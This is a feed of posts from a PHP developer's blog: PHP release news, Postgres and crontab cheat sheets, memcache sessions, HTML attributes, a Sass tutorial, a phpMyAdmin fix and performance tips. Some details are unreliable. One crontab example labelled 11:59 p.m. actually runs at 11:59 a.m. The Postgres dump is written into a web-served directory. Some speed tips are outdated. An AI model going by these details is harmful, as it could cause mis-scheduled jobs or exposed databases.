PHP Expert - Nilesh Pawar Blogs

Importance of Server/Application/Code Security

Sun, 11 Jun 2017 21:56:48 +0000

Ideas about PHP 6 - PHP Experts India

Thu, 09 Jul 2015 23:51:41 +0000

Folowing are the ideas about what will be implemented in PHP 6, I am pretty much excited about "JIT compiler (libjit?)"

OpCache integration
Improved and actual 64bit support
Unicode support
internals API Cleanup
Warning free code
Improve OPcodes, compilation and runtime (perf, features, jit, fixed address jump usage, etc)
JIT compiler (libjit?)
Annotation Support
Named argument
Scalar Type hinting
HTTP2 support (avoid our own implementation, nghttp2?)
Reliable, userfriendly RNG APIs (internally and userland)
Getter/Setter
Userland APIs improvement for all PHP types (OO instead of breaking BC)
C++ Usage
inclusion of the new crypto extension (maybe support other backends than openssl)
bundle pecl's http (add http2 support too)

Posted by PHP Experts India, you can find More details @ https://wiki.php.net/ideas/php6

PHP 7 to Be Even Faster Than Expected

Tue, 16 Jun 2015 03:20:03 +0000

With the latest experiments with the Feedback Directed Optimization patch, it is possible that PHP 7 will be event 10% faster than the implementation with other optimizations already implemented for PHP 7.0.

That was one the topics commented by Manuel Lemos and Arturs Sosins in the episode 60 of the Lately in PHP podcast.

They also commented on proposals for future PHP versions like having a numeric type hint, options for preloaded scripts, making Libsodium a core extension for applications that need cryptography, the updated roadmap for PHP 7.0.0 and creating a new branch for PHP 7.1 development.

They also talked about the latest PHP tutorial articles and book reviews published lately on the site.

Listen to the podcast, or watch the hangout video, or read the transcript to learn more about these interesting PHP topics.

Ref:-
http://www.phpclasses.org/blog/post/289-PHP-7-to-Be-Even-Faster-Than-Expected--Lately-in-PHP-podcast-episode-60.html

Announcing Zend Framework 3 - The Future of PHP Frameworks

Mon, 27 Apr 2015 06:52:22 +0000

The initial goal of Zend Framework was to help make PHP a more mature language and as such ease its adoption, especially among enterprise developers. The use of a framework brings discipline to coding and productivity to developers. Since its inception two generations of Zend Framework have met tremendous success and are backing today some of the most business critical PHP applications in the Enterprise.

But like any language PHP is evolving and with it so are the different technologies, development paradigms and best practices and developer needs.

The world of Web and Mobile development is in constant flux and a great framework must evolve. The PHP ecosystem is undergoing an exciting "renaissance" with the emergence of massive changes in the last few years. Today tools like Composer are simplifying dependencies management. API-driven architectures are becoming the norm. PHP 7 includes a set of great enhancements at the runtime level. Tools like Vagrant, Puppet, Docker have changed developers' development and deployment processes.

The Zend Framework team took all that into consideration and announced the next generation PHP framework: Zend Framework 3.

The new Zend Framework 3 will embrace new paradigms and patterns and with that make it more productive for all developers - beginners and advanced developers alike. The new framework will focus on component based development. It will deliver a middleware solution and be fully optimized for PHP 7.

Zend Framework 3 is all about simplicity, reusability and performance.

Postgres Database Get Started Commands

Sat, 14 Feb 2015 06:06:43 +0000

Login to postgres:

sudo -i -u postgres
psql

switch to database
\c dbname;

Create Database:-

create database dbname;

Create User:-

create user username with password 'password';

Give previlleges:-

GRANT ALL PRIVILEGES ON DATABASE dbname TO username;
GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO username;
GRANT ALL PRIVILEGES ON ALL SEQUENCES IN SCHEMA public TO username;

Import database:-

psql dbname < /home/13082014_daily_extra.sql;

Export database:-

pg_dump dbname > /var/www/html/dbname.sql;

list databases
\list;

list tables

\dt;

Postgres default port is 5432

Check postgres port
pg_lsclusters
I have machines with multiple postgres instances running -- and so I also have the issue of trying to match up the correct database with each port. I tend to do:

$ ps aux | grep postgres | grep -v 'postgres:'

And then, for each of instances returned look for the directory (-D argument) and:

$ sudo grep port $DIR/postgresql.conf

Use of MemCache module to handle session on load balancing servers.

Mon, 29 Dec 2014 04:04:35 +0000

Many well-known huge architecture (Facebook, Livejournal, Youtube...) are using it as memory caching to reduce the load on their servers. It can also be used to share PHP sessions among several servers. Let's see how...

Installation

The first thing is to install the memcached server on your Debian server :

apt-get install memcached

Then, since the memcache PECL extension now provides its own session handler, it's easy to plug PHP and memcached servers. Just install the appropriate extension (from Dotdeb) :

apt-get install php5-memcache

and change some of your PHP settings :

session.save_handler = files

; session.save_path = "N;/path"

to :

session.save_handler = memcache

; change server:port to fit your needs...

session.save_path="tcp://server:port?persistent=1&weight=1&timeout=1&retry_interval=15"

That's all! After relaunching your Apache2 server, your PHP sessions will be stored on the memcached server.

301 redirect on blogger/blogspot to new site

Mon, 08 Dec 2014 03:16:24 +0000

I would not suggest canonicalization of your URLs. Though search engines will treat this better than no action at all (i.e., duplicate content), it will not transfer your "link juice" and all your SEO signals. Supposedly, a meta refresh tag will be treated by search engines just like a 301 redirect via htaccess.

They are real easy to do in Blogger.

Open the template, click Edit HTML then click Proceed. Find the line that says:

Right underneath that, add the following:

Enter your url where it says "YOUR NEW URL HERE." This will be better for SEO purposes than mere canonical URLs (though it isn't AS good as a permanent redirect via the .htaccess file).

HHVM for PHP - Future is here to conquer the world of web-development

Wed, 19 Feb 2014 02:25:24 +0000

HHVM is a new open-source virtual machine designed for executing programs written in PHP. HHVM uses a just-in-time compilation approach to achieve superior performance while maintaining the flexibility and ease of use that PHP developers are accustomed to (dynamic features like eval(), rapid run-edit-debug cycle, etc).

HHVM is used by Facebook to serve billions of web requests per day. To date, HHVM (and its predecessor HPHPc before it) has realized over a 9x increase in web request throughput and over a 5x reduction in memory consumption for Facebook compared with the Zend PHP 5.2 engine + APC.

For general discussion and the latest news about HHVM, check out hhvm.com and our Facebook page.

If you would like to report a bug or are having difficulty using HHVM, find us in the #hhvm chat room on freenode or open a github issue here. We are also happy to review and take code contributions here.

Why HHVM

One of the explicit design goals of HHVM was the ability to continue writing complex logic directly within PHP. Companies with large PHP codebases will generally rewrite their complex functionality directly as PHP extensions in either C or C++. Doing so ends up reducing the number of people who are able to work on the company’s entire codebase. By keeping this logic in PHP, Facebook is able to move fast and maintain a high number of engineers who are able to work across the entire codebase.

https://github.com/facebook/hhvm/wiki

PHP 5.6.0alpha1 released - By PHP Experts India

Tue, 04 Feb 2014 21:35:57 +0000

The PHP development team announces the immediate availability of PHP 5.6.0alpha1. This release marks the beginning of the PHP 5.6.0 release cycle. All users of PHP are encouraged to test this version carefully, and report any bugs in the bug tracking system. THIS IS A DEVELOPMENT PREVIEW - DO NOT USE IT IN PRODUCTION! PHP 5.6.0alpha1 comes with new features such as (incomplete list) : constant scalar expressions, variadic functions, argument unpacking, support for large(>2GiB) file uploads, SSL/TLS improvements, a new command line debugger called phpdbg. For more information about the new features you can check out the work-in-progress documentation or you can read the full list of changes in the NEWS file contained in the release archive. For source downloads of PHP 5.6.0alpha1 please visit the download page, Windows binaries can be found on windows.php.net/qa/. Our second alpha should show up on 6th of February. Thank you for helping us making PHP better.

How to add a job to crontab and set simple email address?

Tue, 02 Apr 2013 23:34:25 +0000

Using cron you can execute a shell-script or Linux commands at a specific time and date. For example a sysadmin can schedule a backup job that can run every day.

How to add a job to the cron?

# crontab -e

MAILTO=abc@abc.com

0 4 * * * /root/bin/abc.php

This crom will be executed everyday @ 4AM and out will be emailed to abc@abc.com

Description of Cron fields.

Following is the format of the crontab file.

{minute} {hour} {day-of-month} {month} {day-of-week} {full-path-to-shell-script}

minute: Allowed range 0 – 59
hour: Allowed range 0 – 23
day-of-month: Allowed range 0 – 31
month: Allowed range 1 – 12. 1 = January. 12 = December.
Day-of-week: Allowed range 0 – 7. Sunday is either 0 or 7.

Crontab examples

1. Run at 12:01 a.m. 1 minute after midnight everyday.

This is a good time to run backup when the system is not under load.

1 0 * * * /root/bin/backup.sh

2. Run backup every weekday (Mon – Fri) at 11:59 p.m.

59 11 * * 1,2,3,4,5 /root/bin/backup.sh

Following will also do the same.

59 11 * * 1-5 /root/bin/backup.sh

3. Execute the command every 5 minutes.

*/5 * * * * /root/bin/check-status.sh

4. Execute at 1:10 p.m on 1st of every month

10 13 1 * * /root/bin/full-backup.sh

5. Execute 11 p.m on weekdays.

0 23 * * 1-5 /root/bin/incremental-backup.sh

Crontab Options

Following are the available options with crontab:

crontab –e : Edit the crontab file. This will create a crontab, if it doesn’t exist
crontab –l : Display the crontab file.
crontab -r : Remove the crontab file.
crontab -ir : This will prompt user before deleting a crontab.

PHP 5.5.0alpha6 released PHP Expert India

Mon, 18 Mar 2013 04:54:37 +0000

The PHP development team announces the release of PHP 5.5.0alpha6. This release fixes some bugs from alpha5. It also serves as a delay for our next release, beta1, integrating ZendOptimizer+ OPCode cache which is not ready yet to be merged. All users of PHP are encouraged to test this version carefully, and report any bugs in the bug tracking system.

THIS IS A DEVELOPMENT PREVIEW - DO NOT USE IT IN PRODUCTION!
PHP 5.5.0alpha6 is shipped with improvements. Here is an incomplete list:

Fixed a bug where uninitialized ++$foo->bar; does not cause a notice,
Updated bundled PCRE 8.32,
Fixed a bug in ext/sockets where sendmsg/recvmsg shutdown handler causes segfault
You can read the full list of changes in the NEWS file contained in the release archive.

For source downloads of PHP 5.5.0alpha6 please visit the download page, Windows binaries can be found on windows.php.net/qa/.

Our first beta should show up on 21st of March.

http://php.net/

PHP 5.5.0alpha6 released - PHP Experts India

Mon, 11 Mar 2013 00:23:23 +0000

THIS IS A DEVELOPMENT PREVIEW - DO NOT USE IT IN PRODUCTION!
PHP 5.5.0alpha6 is shipped with improvements. Here is an incomplete list:

For source downloads of PHP 5.5.0alpha6 please visit the download page, Windows binaries can be found on windows.php.net/qa/.

Our first beta should show up on 21st of March.

For more information visit : http://php.net/

6 Nifty, Time-Saving HTML Attributes

Mon, 04 Mar 2013 00:21:12 +0000

1. The Autofocus Attribute

The autofocus attribute is an attribute you can give to an <input>, <textarea> or <button> element in your HTML. Including this attribute will ‘auto focus’ the element – that is, it will let you start typing instantly (in the case of a text field) or hit Enter (in the case of a button).

The autofocus attribute is a boolean attribute, meaning that it will do its job no matter what value you give it.Boolean, if you didn’t know, refers to the concept that something is either on or off, true or false, there or not there – the same concept as binary code.

Usage

<input type="text" autofocus="" /> <!-- Works with input of any type --> <textarea autofocus="">Enter Text Here</textarea> <button autofocus="">Click Me!</button>

Since only one HTML element can be focused at a time, you should only use the autofocus attribute once in your HTML source. However, if you do happen to include it more than once, it will be the last element with the attribute that gets the focus.

You can use the autofocus attribute to save a bit of time for your users if you have a web page where an input field or button is the center of attention – such as a contact page or search page. Google does this nicely by auto focusing the search box on its home page.

As well as saving time for your users, the autofocus attribute also saves time for you as the coder. If it didn’t exist, you would need to write a line or two of JavaScript to achieve the same effect. I don’t know about you, but I find the attribute much simpler and quicker.

The autofocus attribute is supported by Internet Explorer 10, Google Chrome, Mozilla Firefox and Safari, but not by Opera or older versions of IE.

2. The Placeholder Attribute

The placeholder attribute too works with the <input> and <textarea> elements. Like the value attribute, the placeholder attribute displays default text in the field, but unlike the value attribute, the text is automatically cleared once you start typing, and the text is not submitted with the form should you not enter any of your own text.

Usage

<input type="text" placeholder="Email Address" /> <textarea placeholder="Message"></textarea>

As demonstrated in the code above, the placeholder attribute can be used for contact forms, as well as email submission forms, search forms or virtually anywhere where your users will be inputting text. It works nicely as a hint as to what the user should type in.

Before the placeholder attribute was introduced, you would have to write a few JavaScript event handlers to handle placeholder text. Using this attribute saves you the time and effort.

The placeholder attribute is supported by Opera, Google Chrome, Mozilla Firefox and Safari, but not by any current version of Internet Explorer.

Live Demo

3. The Spellcheck Attribute

Sticking with the theme of attributes for text field elements, the spellcheck attribute is used to either enable or disable browser spellcheck. It takes a value of either true (to enable spellcheck) or false (to disable spellcheck).

Usage

<input type="text" spellcheck="false" /> <!-- Spellcheck disabled --> <textarea spellcheck="true"></textarea> <!-- Spellcheck enabled -->

Spellcheck in most browsers will be enabled by default, so you probably won’t need to use the true value, but there are some times when using the attribute set to false will come in handy. For example, many people make up their own usernames, so if you’ve got a text field for people to enter their username, you’ll probably want to disable spellcheck so that people’s usernames don’t get flagged as unrecognized words.

The spellcheck attribute is extra nifty because it doesn’t just save time, but does something that wouldn’t be at all possible without it – not even with JavaScript.

The spellcheck attribute is supported by Opera, Google Chrome and Safari, but not by Mozilla Firefox or Internet Explorer.

Live Demo

4. The Maxlength Attribute

The final attribute for text fields that I’m covering here is the maxlength attribute. This attribute sets a limit on the number of characters you can enter into a text field.

Usage

<input type="text" maxlength="20" /> <!-- Works with input of any type --> <textarea maxlength="20"></textarea>

In the examples above, the limits on the lengths of the inputs are both 20 characters. The need to set a limit comes up a lot on websites, such as for username length or email message length, and the maxlengthattribute does exactly that.

This attribute is a real time-saver, since it does an important part of form validation for you. If it didn’t exist, you might need to check the input lengths server-side, and this not only wastes time for you (since you’d have to write extra code), but it wastes time for your users as well.

(Ed note: Best practice is not to rely on client-side validation alone: it’s just too east to get around. The security brought by server-side validation is worth any extra time it takes to set up and implement.)

The maxlength attribute is supported by all five major browsers. Hooray!

Live Demo

5. The Reversed Attribute

When we think of <ol> ordered lists, we normally think of lists starting at 1 and counting up. But did you know that including reversed attribute on your <ol> element allows your ordered list to count down?

The reversed attribute is a boolean attribute, meaning that it will do its job no matter what value you give it.

Usage

<ol reversed="">     <li>Number 3</li>     <li>Number 2</li>     <li>Number 1</li> </ol>

No more manually writing out your numbered list whenever you want it to count down. The reversed attribute saves you a lot of time by doing the grunt work for you.

The one downside is that the reversed attribute, as useful as it is, is currently only supported in Google Chrome.

Live Demo

The number of list items is the starting number,
and then it counts down…
…to 1.

6. The Start Attribute

The start attribute is also used on <ol> elements, and specifies a starting number other than 1.

Usage

<ol start="6">     <li>Number 6</li>     <li>Number 7</li>     <li>Number 8</li> </ol>

This attribute is useful if you want to break up an ordered list into separate sections, where each section picks up from where the previous one left off. Again, no more manually writing out your numbered lists.

The start attribute is supported by all five major browsers. Hooray!

Live Demo

Where’s number 1?
Where’s number 2?
Where’s number 3?
Where’s number 4?
Where’s number 5?

You can even use the start attribute together with the reversed attribute! The following list starts at 2 and then counts back in reverse order…

Number 2
Number 1
Number 0
Number -1
Number -2

BONUS: The Contenteditable Attribute

Yes, I know the title of this post is 6 Nifty, Time-Saving HTML Attributes, but I just had to include a bonus seventh one. :)

The contenteditable attribute is one of those features that’s not so well-known, but is very nifty. Simply put, it allows you as a website viewer to edit the content of an element, right inside your browser.

To prove that the contenteditable attribute really does change the content of the HTML element, locate the element in your browser’s developer tools, and you’ll see that the HTML actually has changed.

The contenteditable attribute is a global attribute, meaning it will work on any HTML element. It can be used to either enable or disable content editing. It takes a value of either true (to enable editing) or false (to disable editing).

Usage

<p contenteditable="true"></p> <!-- Content editing enabled --> <p contenteditable="false"></p> <!-- Content editing disabled -->

While the contenteditable attribute isn’t really a shortcut to anything, you have to agree – it is nifty

Source:-

http://www.sitepoint.com/6-nifty-time-saving-html-attributes/

Worldwide Browser Statistics January 2013 to February 2013

Mon, 04 Mar 2013 00:16:08 +0000

Worldwide Browser Statistics January 2013 to February 2013

The following table shows browser usage movements during the past month.

Browser	January	February	change	relative
IE (all)	30.70%	29.82%	-0.88%	-2.90%
IE 9.0+	18.52%	18.08%	-0.44%	-2.40%
IE 8.0	11.12%	10.76%	-0.36%	-3.20%
IE 7.0	0.73%	0.68%	-0.05%	-6.80%
IE 6.0	0.33%	0.30%	-0.03%	-9.10%
Firefox	21.43%	21.34%	-0.09%	-0.40%
Chrome	36.55%	37.11%	+0.56%	+1.50%
Safari	8.27%	8.58%	+0.31%	+3.70%
Opera	1.19%	1.23%	+0.04%	+3.40%
Others	1.86%	1.92%	+0.06%	+3.20%

Source:-

http://www.sitepoint.com/browser-trends-march-2013/

Getting Started with Sass - Stylesheets

Mon, 04 Mar 2013 00:14:12 +0000

Why Sass

This is the big question—and there is no real answer. For me, Sass provides the right tools, syntax and extensions. Sass has a huge community behind it and is constantly growing and evolving. There are loads of excellent add-ons and extensions which make Sass even better. Sass also gives you two writing style options.

Sass Indented Syntax

This is like the crazy, wise uncle of CSS: quirky, kinda funny looking, but ultimately quite smart. This syntax looks nothing like CSS—the goal is brevity. Instead of brackets and semicolons, it uses the indentation of lines to specify blocks. Where you’d use a semicolon to separate statements, it uses new lines.

#main   color: blue   font-size: 0.3em   a     font:       weight: bold       family: serif     &:hover       background-color: #eee

.scss

.scss is essentially a subset of the CSS3 syntax. This means that every valid CSS3 stylesheet is valid.scssas well.

#main {   color: blue;   font-size: 0.3em;   a {     font: {       weight: bold;       family: serif;     }     &:hover {       background-color: #eee;     }   } }

This is my preferred syntax and what I’ll be using to show examples throughout this article. So without further ado, let’s get cracking.

Workflow and Tools

Workflow

There is a slight shift in paradigm required to get into the Sass way. The main point being that you will never ever edit or commit your .css files. The only way to change the CSS is through the .scss files. Once you save your .scss file, the magic of the preprocessor will convert it to regular CSS. The moment you start editing your .css files is the moment the sky starts to fill with black holes…

There are two common ways to roll the preprocessor into your workflow. The first is to do it at build time. This will require some setup on your development and live environments using a parser for the programming language you choose. Rails 3.1 and up ships with Sass. If you use PHP, .NET or Java you’re in luck, as there are ports for those platforms. You could also roll it into a GRUNT task to run the procressing on build.

If none of this makes sense to you don’t be afraid! The second option is much more front-end friendly: use a simple GUI on your development machine and compile as you go. You will need one of the following tools.

Tools

Compass.app

This is a great multi-platform GUI which is simple and intuitive. It compiles Compass, which is a framework for Sass that I’ll get into later. Compass.app has the ability to hook into LiveReload too.
LiveReload

This magical tool does a whole array of cool things, one of which is compiling Sass. LiveReload monitors changes in the file system. As soon as you save a file, it is preprocessed as needed, and the browser is refreshed. This is a great speedy kick to your web dev workflow. Currently available for $10 for Mac. There is an alpha version is available for Windows XP and up which is currently free.
CodeKit

This is very similar to LiveReload but with a few more features—including script minification, image compression and code hinting. This is the software I’ve opted for and love dearly. It’s Mac only and available for $25. I recommend you download a trial—you’ll Add To Cart before you know it.
Mixture

This is an up and coming tool that looks to have all the bells and whistles. It’s multi-platform and does a lot of very interesting stuff including boilerplating, image optimisation, one click publishing and many others. It looks to be in private beta at the moment but you can sign up to be notified when it’s good to go.

Let’s Start Coding, Already!

Nesting

This is probably the most fun but also the most dangerous part of Sass. Let’s consider the following two examples.

Example 1 — Good nesting

#navbar {   width: 80%;   height: 23px;   ul { list-style-type: none; }   li {     float: left;     a { font-weight: bold; }   } }

Example 2 — Bad nesting

div#main {   #sidebar {     #navbar {       width: 80%;       height: 23px;       aside {         div {           ul {             list-style-type: none;             li {               float: left;               a {                 font-weight: bold;               }             }           }         }       }     }   } }

The reason Example 2 is bad is because the resulting CSS will have far too specific selectors.

div#main #sidebar #navbar {} div#main #sidebar #navbar aside div ul {} div#main #sidebar #navbar aside div ul li {} div#main #sidebar #navbar aside div ul li a {}

Let’s all agree that’s a nightmare.

One of the guiding principles of modern CSS should be the principle of modular code—that is to say, bits of code that you can reuse without having to rely on the structure of your markup. For more information on this idea, look into OOCSS and SMACSS.

There’s a de facto rule called The Inception Rule that simply states you should never nest more than four selectors deep.

Variables

$site_max_width: 960px; $font_color: $333; $link_color: $00c; $font_family: Arial, sans-serif; $font_size: 16px; $line_height: percentage(20px / $font_size); body {   color: $font_color;   font {     size: $font_size;     family: $font_family;   }   line-height: $line_height; } #main {   width: 100%;   max-width: $site_max_width; }

We’re all familiar with variables and use them in our JavaScript, etc. This is the exact same idea, but with CSS. Now, when a client asks you change that blue to a slightly more greeny-blue (with more pop), you can simply go to your variables and update that one instance. You can also use built-in Sass functions and operators as well as reference other variables in the declarations.

Functions and Operators

Like any programming language, Sass comes with a suite of functions and standard operators. There are many fnctions that will help you deal with number, text and colours. And all numbers (including those with units) have all the math operators you’ll ever need: +, -, *, / and %.

Have a look at the documentation to see the list of goodness available.

Mixins

Mixins are one of the most powerful parts of Sass and really allow you to get creative. A mixin is a collection of of re-usable styles, properties and selectors. You could think of a mixin as a macro or snippet for regular re-use.

A good example of a mixin is one to handle those annoying vendor prefixes:

@mixin box-shadow($shadow) {   -webkit-box-shadow: $shadow;      -moz-box-shadow: $shadow;           box-shadow: $shadow; }

Or for hiding text (often used with image replacement techniques):

@mixin hide-text {   font: 0/0 a;   color: transparent;   text-shadow: none;   background-color: transparent;   border: 0; }

Needless to say, you’ll be spending a lot of time coming up with your own personal arsenal of mixins to use on all your projects.

Your First Sass Project

The beauty of using Sass is that you can make as many small .scss files as you see fit because they will all be combined into one master .css file during the preprocessing stage. Consider the following style.scss file:

@import "global/mixins"; @import "global/variables"; @import "global/normalize"; @import "content/links"; @import "content/lists"; @import "content/mediaObjects"; @import "content/panels"; @import "content/spacingOverrides"; @import "content/typography"; @import "content/textUtilities"; @import "layout/border"; @import "layout/grid"; @import "layout/scaffolding"; @import "navigation/breadcrumbs"; @import "navigation/master"; @import "navigation/leftnav"; @import "navigation/topnav"; @import "navigation/pagination"; @import "navigation/tabs"; @import "navigation/footer"; @import "forms/buttons"; @import "forms/forms"; @import "tables/tables"; @import "tables/forum";

Each of those @import statements includes a new .scss file. When naming these component .scss files, make sure you use an underscore (_) character at the start of the file name. Example: _variables.scss,_normalize.scss. The Sass compiler will interpret these files as snippets and won’t actually preprocess them individually. Only the files you want the preprocessor to compile should be named without an underscore, e.g. style.scss, special-page-override.scss.

When you import the snippet files into your main style file there’s no need to include the underscore of the file extension—Sass knows you’re working with .scss files.

As you might have guessed, it makes total sense to organize your Sass files into folders for easy separation of logic and structure—you can get as complex as you need, but remember that everything you do will need to make some sort of sense six months down the line when you come back to modify stuff. Don’t make it more difficult for your future self (or a different developer).

Extending Sass

There are a number of excellent add-ons or frameworks built on top of Sass. But I’m going to talk about just one—the almighty Compass.

Compass

Working with Sass and Compass makes me smile. In actual fact, I’m smiling as I write about Compass and I’m hoping you will be too when you’re done with this article. Compass is a full-featured framework built on top of Sass that includes reusable patterns, sprite generation, typographic rhythms and all the CSS3 mixins you’ll ever need.

The compiling software I mentioned above will all be able to deal with Compass, so getting started with Compass is a very simple process. Create a file in the root of your web project called config.rb—this file will tell Sass that you’ll be using Compass for your project. The code below is the very minimun you require to get Compass going.

# Require any additional Compass plugins here. # Set this to the root of your project when deployed: http_path = "/" css_dir = "css" sass_dir = .scss" images_dir = "images" javascripts_dir = "js" fonts_dir = "fonts" output_style = :expanded environment = :development

Check out the documentation for other options you could set.

The next step is to import Compass into your main style file. You can either import the entire Compass framework or parts of it as and when you need them.

@import "compass"; @import "global/mixins"; [...]

Or…

@import "compass/utilities"; @import "compass/css3"; @import "compass/typography/vertical_rhythm"; @import "global/mixins"; [...]

I could blow another 5,000 words waxing lyrical about Compass as there is so much to it, but instead I’m going to dig into one of the most powerful features to grace our text editors since float: left; …

Sprite Generation

Sprites have quickly become the default standard to delivering images on the web using CSS. If you’re unfamiliar with the concept then I suggest you have a quick read. They are great for the web but they can very quickly become a pain in the ass! I often find I have to update my sprites as a project progresses and this becomes a chore as you not only have to update your main sprite sheet but you also have to update your CSS (and potentially HTML, too).

Over the years, there have been some great tools introduced to help make this process easier but nothing has quite sat right with me. Until now.

The main idea here is that you should create single images as you would have in the olden days. The important thing is to keep your images organised into folders, as illustrated below.

Screenshot of organised image folder

The next step is to include the required compass mixins and utils and import your images. In the following examples, I’ll be illustrating how this might work when using the images/icons folder.

// include the compass spite utility if not already included @import "compass/utilities/sprites"; // import your images // note: compass already knows my images live in the /images/ folder @import "icons/*png"; // automagically generate class names @include all-icons-sprites;

I’ll walk you through that. The first import is importing the correct Compass sprite utils. The next import is telling Compass where the images are that you’d like to use as a sprite. The include line is where some magic occurs. This line will auto-generate a bunch of class names based on the name of the image folder and the name of the PNGs therein. The generated CSS is below:

.icons-actions-add-mini, .icons-actions-delete-mini, [...] .icons-multimedia-camera {   background: url('/images/icons-s34fe0604ab.png') no-repeat; } .icons-actions-add-mini {background-position: 0 0;} .icons-actions-delete-mini {background-position: 0 -16px;} [...] .icons-multimedia-camera { background-position: 0 -96; }

At this point you could just walk away and happily use those generated classes wherever you wanted. Job done. Thanks, Compass!

However, I often find I’ll need to add my own class names—based on nested elements, perhaps. No worries. Compass allows us to do this.

Note: With the following examples, the param passed into those icons-sprite-*() utils are the names of the .png files in your images/icons folder.

@import "icons/*.png"; .actions {   .add    { @include icons-sprite(actions-add-mini); }   .delete { @include icons-sprite(actions-delete-mini); } } .contact {   .mail  { @include icons-sprite(contact-mail); }   .phone { @include icons-sprite(contact-phone); } } .some-random-class-name { @include icons-sprite(hardware-television); }

There quite a few other customisations Compass gives you. This next example is one I find myself using quite a bit.

// making use of width/height magic selectors .icon-giant-killer-bear {   $width: icons-sprite-width(giant-killer-bear);   $height: icons-sprite-height(giant-killer-bear);   @include icons-sprite(giant-killer-bear);   @include size($width, $height);   margin: 0 4px 0 0;   vertical-align: text-bottom; }

The above example illustrates how easy it is to get the image dimensions of a particular image from your sprite. Couldn’t be any easier!

I haven’t dug too deeply into all of the sprite utils but check the Compass website for the full sprite documentation as I’m sure there are a load of other awesome things out there.

To Sum Up

There is an exciting new world of front-end code out there and this is just a very small part of it. Start using Sass now! It’s made my code writing more efficient and it’s made writing CSS a lot more enjoyable. I’m no expert when it comes to this stuff—I’m still learning new awesome things every day, so if you find any errors or omissions please let me know by shouting at me in the comments.

If you’re in Australia during March, you can also catch me talking about Sass in a series of workshops, together with Russ Weakley on Responsive Web Design

Original Article From:

http://www.sitepoint.com/getting-started-with-sass/

Forbidden You dont have permission to access phpmyadmin on this server.

Tue, 19 Feb 2013 00:50:54 +0000

It could be a number of things but it is probably that apache is Listening on the W8 IPV6 default localhost address which is ::1

1. edit httpd.conf, using the link on the wampserver icon wampserver -> apache -> https.conf
find the line > Listen 80
and change to > listen 0.0.0.0:80

This will force apache to listen on IPV4 and make the pre-configured phpMyAdmin security configuration compatable.

By default phpMyAdmin has the following access restriction:
Order Deny,Allow
Deny from all
Allow from 127.0.0.1

IP Address 127.0.0.1 is the IPv4 address for localhost

You may also need to make sure your HOSTS file has the line
#127.0.0.1 localhost
uncommented to
127.0.0.1 localhost
or add it if it does not exists.

The hosts file is protected by windows, in order to save it you must have Administrator privilages.
Vista/W7/W8 you may think you are an Administrator BUT YOU ARE NOT.

To successfully save the hosts file do this to launch your editor with Admin Privileges.

Locate your editors icon on the desktop or from the Start menus ( notepad will do if you have nothing else )
left click + shift over your chosen editor icon - will show a menu.
select "Run As Administrator" from the menu.
Navigate your editor to the c:\windows\system32\drivers\etc\hosts file.

When you have made changes you will now be allowed to save them.

Feature changes in PHP5.4.X

Mon, 14 Jan 2013 03:07:00 +0000

PHP 5.4.0 offers a wide range of new features:

Support for traits has been added.
Short array syntax has been added, e.g. $a = [1, 2, 3, 4]; or $a = ['one' => 1, 'two' => 2, 'three' => 3, 'four' => 4];.
Function array dereferencing has been added, e.g. foo()[0].
Closures now support $this.
<?= is now always available, regardless of the short_open_tag php.ini option.
Class member access on instantiation has been added, e.g. (new Foo)->bar().
Class::{expr}() syntax is now supported.
Binary number format has been added, e.g. 0b001001101.
Improved parse error messages and improved incompatible arguments warnings.
The session extension can now track the upload progress of files.
Built-in development web server in CLI mode.

Few Tips to optimize your PHP Code

Wed, 02 Jan 2013 04:45:36 +0000

Avoid magic like __get, __set, __autoload.

Use require() instead of require_once() where possible.

Use full paths in includes and requires, less time spent on resolving the OS paths.

require() and include() are identical in every way except require halts if the file is missing. Performance wise there is very little difference.

Since PHP5, the time of when the script started executing can be found in $_SERVER[’REQUEST_TIME’], use this instead of time() or microtime().

PCRE regex is quicker than EREG, but always see if you can use quicker native functions such as strncasecmp, strpbrk and stripos instead.

When parsing with XML in PHP try xml2array, which makes use of the PHP XML functions, for HTML you can try PHP’s DOM document or DOM XML in PHP4.

str_replace is faster than preg_replace, str_replace is best overall, however strtr is sometimes quicker with larger strings. Using array() inside str_replace is usually quicker than multiple str_replace.

“else if” statements are faster than select statements aka case/switch.

Error suppression with @ is very slow.

To reduce bandwidth usage turn on mod_deflate in Apache v2 or for Apache v1 try mod_gzip.

Close your database connections when you’re done with them.

$row[’id’] is 7 times faster than $row[id], because if you don’t supply quotes it has to guess which index you meant, assuming you didn’t mean a constant.

Use <?php … ?> tags when declaring PHP as all other styles are depreciated, including short tags.

Use strict code, avoid suppressing errors, notices and warnings thus resulting in cleaner code and less overheads. Consider having error_reporting(E_ALL) always on.

PHP scripts are be served at 2-10 times slower by Apache httpd than a static page. Try to use static pages instead of server side scripts.

PHP scripts (unless cached) are compiled on the fly every time you call them. Install a PHP caching product (such as memcached or eAccelerator or Turck MMCache) to typically increase performance by 25-100% by removing compile times. You can evensetup eAccelerator on cPanel using EasyApache3.

An alternative caching technique when you have pages that don’t change too frequently is to cache the HTML output of your PHP pages. Try Smarty or Cache Lite.

Use isset where possible in replace of strlen. (ie: if (strlen($foo) < 5) { echo “Foo is too short”; } vs. if (!isset($foo{5})) { echo “Foo is too short”; } ).

++$i is faster than $ i++, so use pre-increment where possible.

Make use of the countless predefined functions of PHP, don’t attempt to build your own as the native ones will be far quicker; if you have very time and resource consuming functions, consider writing them as C extensions or modules.

Profile your code. A profiler shows you, which parts of your code consumes how many time. The Xdebug debugger already contains a profiler. Profiling shows you the bottlenecks in overview.

Document your code.

Learn the difference between good and bad code.

Stick to coding standards, it will make it easier for you to understand other people’s code and other people will be able to understand yours.

Separate code, content and presentation: keep your PHP code separate from your HTML.

Don’t bother using complex template systems such as Smarty, use the one that’s included in PHP already, see ob_get_contents and extract, and simply pull the data from your database.

Never trust variables coming from user land (such as from $_POST) usemysql_real_escape_string when using mysql, and htmlspecialchars when outputting as HTML.

PHP 5.5 Release Date and Plans - Lately in PHP podcast episode 28 - PHP Expert India

Mon, 15 Oct 2012 18:33:44 +0000

PHP 5.5 release is already being planned. The release manager was picked, the new features are decided and the release date is estimated. This one of the main topics discussed by Manuel Lemos and Ernani Joppert in episode 28 of the Lately in PHP podcast.

They also discussed the interpretation from VentureBeat that Zend is working on mobile version of PHP, using abstract symbol tables to optimize PHP further, and creating classes that provide APIs that are simpler for the users.

Now listen to the podcast, or watch the podcast video or read the transcript to learn more about these and other interesting topics of the PHP world.

More...

New features in PHP 5.3

Mon, 15 Oct 2012 06:40:50 +0000

